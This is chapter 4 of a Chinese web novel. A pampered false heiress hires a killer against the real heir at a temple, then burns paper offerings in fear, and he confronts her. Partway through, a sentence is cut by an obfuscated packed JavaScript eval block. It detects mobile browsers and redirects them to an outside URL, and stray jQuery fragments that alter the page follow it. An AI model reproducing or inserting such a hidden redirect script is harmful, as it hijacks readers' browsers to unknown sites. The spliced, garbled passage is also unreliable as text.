4. 第四章
作品:《假千金和真少爷在一起了》 “阿娘,我们什么时候可以回去,我不想待在山上了。”
回到厢房,薛瑛低声催促。
侯夫人正在看佛经,闻言说道:“不是刚上山,急着回去做什么?”
“上个香,捐了香火钱就行了啊。”
“那不行。”侯夫人双手合十,“对菩萨、佛祖,不能这么敷衍,要心诚。”
薛瑛努了努嘴,将手中的帕子团成一团,急得在屋中来回踱步。
侯夫人都烦了,“你走来走去,晃得我眼睛疼。”
薛瑛这才老老实实坐下,抿着唇想事情。
梦是真的,虽然有些发展不一样,但程明簌却是真真实实存在的,她确实是个如假包换的假千金,和梦里一样。
如今程明簌已经见到生母,认亲也只是时间问题,薛瑛不敢将慌张表现在脸上,指尖都快要被自己咬秃。
她难得拿起笔,坐在窗前一笔一笔地算账,家中卧房里有几箱金子,她的首饰也多,卖了换成银票应该有不少,大抵是够挥霍好一阵的。
薛瑛以前无所畏忌,拿银子当水洒,现在才开始有些后悔以前太过骄奢淫逸,没多攒些家底,薛瑛也不想再像梦中那样收拾包袱跑路,她又不蠢,离了薛家哪还有什么好日子过,千金大小姐可受不了在外吃糠咽菜的苦。
这些钱,全拿去送给程明簌行不行?他那样的穷书生,看到这么多的钱,定然眼都花了,打发了他,叫他别再来京城,少不了他的好处。
只是叫他见到侯府二小姐有那么多的钱,定然心里不甘心,更想认亲,抢回自己的身份了。
薛瑛想了一晚上,第二天眼睛都肿了,天亮时咬了咬牙,放下笔,喊道:“采薇,采薇!”
厢房门被推开,采薇赶忙迎上前,“姑娘,怎么了?可是床榻硬,要再加一床被褥?”
采薇惊讶地看着屋中的少女,她家小姐素来贪玩,在学堂时书都是随便看看,先生让写课业,她也从来不写,反正有的是人争着给她写,那些书生,经常为了谁来给薛二小姐抄书写课业而大打出手。
可是今日,姑娘竟然坐在桌案前,破天荒地拿着笔写字,瞧那眼睛红的,不会写了一夜吧。
采薇一脸惊骇,薛瑛招了招手,让她到跟前来,等她走过去,薛瑛俯身在她耳畔悄声说话。
采薇听了两句,眼睛瞪大,“姑娘……这……”
“你且找几个人来,要身手好的,手起刀落,别留后患。”
薛瑛神情认真,叮嘱道。
“这可是佛门净地……”采薇犹豫道:“这不好吧……”
“哪里不好!”薛瑛一着急,声音大了些,“我瞧着那人一脸奸邪狡诈的模样,定不是好人,我这是替天行道。”
薛瑛哼哼两句,“我有的是钱,你尽管照我说的去做就是了,快一些,最好今晚就动手。”
采薇神情为难,但是也没有忤逆,点了点头,退下了。
待采薇出门后,薛瑛也跟着溜出去,找到侯夫人,缠着她逛后山,生怕侯夫人会单独和程明簌碰上。
永兴寺的流苏花开得正盛,纷纷扬扬如雪团,出门的时候,薛瑛远远看到殿外的程明簌,他穿着一身白衣,没有佩玉环带,乌发只用一根粗布缠着,少年身形有些清瘦,表面看上去好像真的挺正人君子的,但薛瑛明白,这些都是假象。
薛瑛拽着侯夫人去了另一个方向,少女的身影远去了,寺里的香客也被她吸引去大半目光,她实在明艳,在寺中没有刻意打扮得素净,鲜红的发带在风中飘扬。
入了夜,万籁俱寂,庭下传来蟋蟀的叫声。
采薇小心翼翼推开门,昏暗的厢房内,穿着单衣的少女坐了起来,看向她,急道:“事情办好了吗?”
“办好了。”采薇点头,压着声音,“金子也送过去了。”
薛瑛刚沐浴过,身上罩着雪白的素衣,卸了妆面,没有头饰陪衬,乌发披在肩头,秀滑如缎,那种蛮横娇纵的气势也少了许多,看着分外清纯。
“千万不能失手,一击必中。”
薛瑛叮嘱道,采薇对上她家小姐严肃的目光,重重点了个头。
心中一大忧心事解决,薛瑛呼出一口气,不过她心里并没有松懈多少,反而更睡不着了。
昨日她想了一夜,做了个决定。
做事情就要斩草除根,程明簌那家伙回到侯府,心眼同马蜂窝似的又密又多,薛瑛有自知之明,知道自己不够机敏,躲不过他那些弯弯绕绕的手段,索性一不做二不休,重金雇杀手取此人性命。
这么做缺德是缺德了些,可做人总该为自己做打算的,薛瑛咬了咬唇,安慰自己,她好脸面,平日仗着自己侯府嫡女的身份,嚣张跋扈,得罪了许多人,要是被那些讨厌她的人知道,她的身份是假的,还不知道要遭到多少嘲笑,若真沦落到那般地步,她不如现在就去死。
采薇拿着银票出去了,薛瑛躲进被子里,攥紧了拳头,背脊都在发抖。
她以前是蛮横了一些,可还从来没干过杀人越货的勾当,吓得一晚上都没闭眼,天亮前才眯了会儿。
睡梦中后背一直是凉飕飕的,薛瑛做了个噩梦,梦到一双手突然握住了她的脚踝,触感冰凉,就像是被蛇信子舔了一口似的,她转过身,一身白衣的程明簌冷冷盯着她,他的胸口有个血窟窿,正啪嗒啪嗒地滴着血,冰凉的血珠落在她的小腿上,冷得薛瑛打了一个寒颤。
“薛瑛,你好狠的心。”
他漆黑无波的目光锁着她,双手如铁铐,薛瑛吓得往旁边爬,又被他握着脚踝拖回来,程明簌捏住她的下颚,冷冷开口,“你以为我死了你就能摆脱我了?就是做了鬼,我也会缠着你。”
“啊啊啊啊啊……”
薛瑛尖叫着醒来,浑身汗津津的,采薇推开门,“姑娘!”
天际泛白,朦胧模糊的厢房中,少女披着头发,泪眼婆娑,脸色苍白。
薛瑛哽咽两声,眼尾泛红,她如抓住救命稻草一般拉着采薇的手,“你找的杀手一定要将他杀死,永绝后患,采薇,你说他死了后,会不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625670|172345||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会化作厉鬼找我索命……我也不想杀他的,可是他不死,死的就该是我了……”
采薇不知道她家小姐为什么会突然与那穷书生结了怨,甚至到了要取对方性命的地步,小姐素来宽厚,脾气是娇气了点,但是心肠是好的,定然是那书生唐突了小姐。
“姑娘,不会的,是他命不好,不碍姑娘的事。”
薛瑛搂着采薇的腰,埋在她的怀里哭,第一次杀人,实在过不了心里那关。
采薇顺着她的后背拍了拍,温声宽慰,小姐就和小孩子一样,跋扈的时候很跋扈,胆小的时候又很胆小。
“姑娘若实在害怕,不妨给他烧几柱香,念往生咒,祝他早点投胎吧。”
采薇低声说道。
薛瑛点点头,将她的话记到心里。
天还未亮,薛瑛便穿戴好,寺里静悄悄的,没什么人影,只有几个小僧人在扫地,她拿着几张抄好的地藏经,在无人的墙角烧纸。
地上落满了流苏花,远处传来悠扬的钟鼓声,薛瑛蹲在地上,将经纸点燃,丝缕火苗窜起,薛瑛一边往火盆里扔纸钱,一边低声说:“我给你烧钱了,你去了那儿,做个好鬼,别、别来纠缠我。我也不想杀你的,可……可我受不了在外面的苦,我会经常给你烧纸钱的,你早点投胎,下辈子做个好人……”
她烧完纸钱,又将地藏经也放进火盆中,灰烬纷扬,烟熏得眼睛有些酸痛,薛瑛眨了眨眼,拂去泪花,刚要站起,一抬头,发现对面站了个人。
他长得那样俊俏,面庞白皙如玉,嘴角牵着似笑非笑的的弧度,打量着她。
薛瑛呆了又呆,张嘴要叫时,他突然上前,她顿时吓得双腿发软,往后倒去,被他及时拉住。
薛瑛已经吓得话都不会说了,瞳仁颤动,盯着眼前的程明簌。
他看了她一眼,将她拉到边上,薛瑛以为他是找她报仇来了,脚下又踢又踹,程明簌挨了她两脚,鬓发也被扯乱了,可他竟然不躲,牢牢擒住她的手腕,薛瑛两眼一黑,嗓子里发出含糊的呜咽声。
完了,他找上门了,也不知是人是鬼,是不是来找她索命的!
程明簌没说话,按住她乱动的手,弯腰用衣袖狠狠拍了拍她的裙摆,再抬头时,发现少女红着眼睛,眸子雾蒙蒙的,水汽氤氲,就快要哭出来。
程明簌沉默须臾,说:“你裙子着火了。”
薛瑛吸了吸鼻子,低下头,才发现自己的裙摆不知道什么时候沾了火盆里的火,已经被烧掉一个角。
她脸色煞白,后知后觉,扭过身子去检查衣裙还有没有其他地方着火。
程明簌一直看着她,直到她确保没有火苗,松了口气。
薛瑛意识到,程明簌没有死,不知道为什么,重金寻来的杀手会失败。
少女垂着眼皮,神情害怕无措。
看着她心虚的样子,程明簌突然笑了,走上前一步,“薛姑娘。”
他垂首,与她平视,盯着她的眼睛,开口,嗓音温润,“您这是在给谁烧纸钱呢?”